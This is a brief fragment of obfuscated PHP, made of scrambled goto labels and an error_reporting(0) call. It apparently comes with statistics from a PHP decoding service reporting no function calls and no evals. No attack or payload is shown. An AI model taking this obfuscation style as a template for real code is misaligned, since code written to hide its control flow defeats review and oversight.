QgUgV; gzKrP: ERRoR_RepoRting(0); goto F_lO6; oWYZ0: BVPSN:
?>
Function Calls
None |
Stats
MD5 | ba010a51327316d72054459f972d98e8 |
Eval Count | 0 |
Decode Time | 48 ms |